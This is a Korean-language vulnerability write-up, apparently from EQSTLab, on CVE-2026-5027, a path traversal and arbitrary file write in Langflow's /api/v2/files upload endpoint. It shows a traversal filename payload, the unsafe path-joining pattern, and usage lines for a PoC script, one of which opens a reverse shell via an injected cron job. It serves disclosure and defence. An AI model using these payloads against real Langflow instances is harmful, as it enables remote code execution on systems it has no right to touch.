
Langflow, 경로 탐색을 통한 크론 작업 주입으로 인한 원격 코드 실행(RCE)
This post is a research article published by EQSTLab.
Thanks to Yahia Hamza, who reported and analyzed this vulnerability.
★ CVE-2026-5027 Langflow 경로 탐색 / 임의 파일 쓰기 PoC ★

CVE-2026-5027 : Langflow 임의 파일 쓰기 취약점
description: Langflow <= 1.8.4의 경로 탐색(path traversal) 취약점으로 인해 공격자가 /api/v2/files 엔드포인트에 제공하는 조작된 multipart filename을 통해 의도된 업로드 디렉터리 외부에 임의 파일을 쓸 수 있습니다. 자동 로그인(auto-login)이 활성화되어 있거나 인증이 약하게 적용되는 배포 환경에서는 이 문제를 악용하여 공격자가 제어하는 콘텐츠를 민감한 파일 시스템 위치에 기록함으로써 원격 코드 실행을 달성할 수 있습니다.
Docker를 사용하여 취약 환경을 빌드하고 실행합니다:
docker build -t cve-2026-5027 .
docker run --rm -it -p 9013:9013 --name cve-2026-5027 cve-2026-5027
# Proof of concept (writes test file to /tmp/)
python3 CVE-2026-5027.py -t <TARGET>
# Reverse shell via cron job
python3 CVE-2026-5027.py -t <TARGET> --lhost <YOUR_IP> --lport 4444
취약 엔드포인트
POST /api/v2/files
이 문제는 업로드 기능이 클라이언트가 제공한 multipart filename 값을 신뢰하기 때문에 발생합니다. 안전한 서버 측 저장 파일명을 생성하거나 최종 경로를 전용 업로드 디렉터리로 제한하는 대신, 취약한 코드 경로는 ../와 같은 경로 탐색 시퀀스가 최종 대상 경로에 영향을 미치도록 허용합니다.
결과적으로 공격자는 의도된 저장소 루트를 벗어나 애플리케이션이 서버 파일 시스템의 임의 위치에 파일을 쓰도록 강제할 수 있습니다.
대표적인 악용 흐름은 다음과 같습니다:
/api/v2/files로 multipart 업로드 요청을 제출합니다.filename을 제공합니다.이것은 근본적으로 CWE-22: Improper Limitation of a Pathname to a Restricted Directory 문제입니다.
이 보안 결함은 업로드 처리 과정에서 사용자가 제어하는 파일 경로에 대한 무해화(sanitization)와 검증이 충분하지 않기 때문에 발생합니다. 애플리케이션은 클라이언트의 원본 파일명을 그대로 수락하고 경로 정규화와 격리(containment)를 적절히 적용하지 않은 채 저장 워크플로에 전달합니다.
방어적 관점에서 이 위험한 패턴은 개념적으로 다음과 유사합니다:
save_path = base_dir / file.filename
file.filename에 다음과 같은 경로 탐색 구성 요소가 포함된 경우:
../../../../tmp/poc.txt
최종 해석 경로가 base_dir 밖을 가리킬 수 있으며, 임의 파일 쓰기가 가능해집니다.
임의 파일 쓰기 취약점은 공격자가 파일 내용뿐만 아니라 대상 경로도 제어할 수 있기 때문에 일반적인 무제한 업로드 문제보다 훨씬 심각한 경우가 많습니다. Langflow 프로세스의 런타임 권한에 따라 다음이 가능할 수 있습니다:
+-------------------------------------------+
| Attacker |
+-------------------------------------------+
|
| Obtain access token
| or abuse auto-login
v
+-------------------------------------------+
| Langflow /api/v2/files |
+-------------------------------------------+
|
| Crafted multipart filename
| (../ directory traversal)
v
+-------------------------------------------+
| Arbitrary File Write (Outside Upload Dir) |
+-------------------------------------------+
|
| Write to sensitive location
v
+-------------------------------------------+
| Potential Remote Code Execution |
+-------------------------------------------+
이 저장소는 Langflow 인스턴스에 대한 무단 악용을 돕기 위한 것이 아닙니다. 이 프로젝트의 목적은 보안 연구자, 방어자, 개발자가 취약점을 이해하고 통제된 환경에서 노출 여부를 검증하며 효과적인 완화 조치를 적용하도록 돕는 것입니다.
https://www.tenable.com/security/research/tra-2026-26
https://www.cve.org/CVERecord?id=CVE-2026-5027